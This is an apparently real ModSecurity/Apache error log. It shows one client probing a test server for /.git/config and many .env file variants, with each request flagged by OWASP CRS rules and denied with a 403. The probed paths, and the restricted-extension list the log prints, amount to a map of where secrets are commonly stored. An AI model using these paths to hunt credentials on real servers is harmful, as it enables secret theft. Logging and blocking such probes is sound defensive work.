[Wed Oct 30 21:04:02.423901 2024] [:error] [pid 2975123] [client 142.93.12.230:40806] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKRMgbkhn-eHTdgQaS2SgAAAAI&quot;]
[Wed Oct 30 21:04:02.424280 2024] [:error] [pid 2975123] [client 142.93.12.230:40806] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKRMgbkhn-eHTdgQaS2SgAAAAI&quot;]
[Wed Oct 30 21:04:02.424613 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8AAAAAs&quot;]
[Wed Oct 30 21:04:02.425182 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8AAAAAs&quot;]
[Wed Oct 30 21:04:02.425609 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8AAAAAs&quot;]
[Wed Oct 30 21:04:02.429145 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7OQAAAAg&quot;]
[Wed Oct 30 21:04:02.429357 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7OQAAAAg&quot;]
[Wed Oct 30 21:04:02.429534 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7OQAAAAg&quot;]
[Wed Oct 30 21:04:02.535132 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8QAAAAs&quot;]
[Wed Oct 30 21:04:02.535685 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8QAAAAs&quot;]
[Wed Oct 30 21:04:02.536173 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8QAAAAs&quot;]
[Wed Oct 30 21:04:02.539517 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7OgAAAAg&quot;]
[Wed Oct 30 21:04:02.540021 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7OgAAAAg&quot;]
[Wed Oct 30 21:04:02.540302 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7OgAAAAg&quot;]
[Wed Oct 30 21:04:02.630694 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8gAAAAs&quot;]
[Wed Oct 30 21:04:02.630862 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8gAAAAs&quot;]
[Wed Oct 30 21:04:02.631106 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8gAAAAs&quot;]
[Wed Oct 30 21:04:02.631300 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8gAAAAs&quot;]
[Wed Oct 30 21:04:02.631663 2024] [:error] [pid 2975122] [client 142.93.12.230:40708] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKRMl5ctFF4U-4U2NyRTAAAAAE&quot;]
[Wed Oct 30 21:04:02.632210 2024] [:error] [pid 2975122] [client 142.93.12.230:40708] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKRMl5ctFF4U-4U2NyRTAAAAAE&quot;]
[Wed Oct 30 21:04:02.632518 2024] [:error] [pid 2975122] [client 142.93.12.230:40708] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKRMl5ctFF4U-4U2NyRTAAAAAE&quot;]
[Wed Oct 30 21:04:02.634280 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7OwAAAAg&quot;]
[Wed Oct 30 21:04:02.634476 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7OwAAAAg&quot;]
[Wed Oct 30 21:04:02.634630 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7OwAAAAg&quot;]
[Wed Oct 30 21:04:02.727724 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8wAAAAs&quot;]
[Wed Oct 30 21:04:02.728486 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8wAAAAs&quot;]
[Wed Oct 30 21:04:02.728960 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA8wAAAAs&quot;]
[Wed Oct 30 21:04:02.731929 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7PAAAAAg&quot;]
[Wed Oct 30 21:04:02.732286 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7PAAAAAg&quot;]
[Wed Oct 30 21:04:02.732600 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7PAAAAAg&quot;]
[Wed Oct 30 21:04:02.825392 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA9AAAAAs&quot;]
[Wed Oct 30 21:04:02.825996 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA9AAAAAs&quot;]
[Wed Oct 30 21:04:02.826505 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA9AAAAAs&quot;]
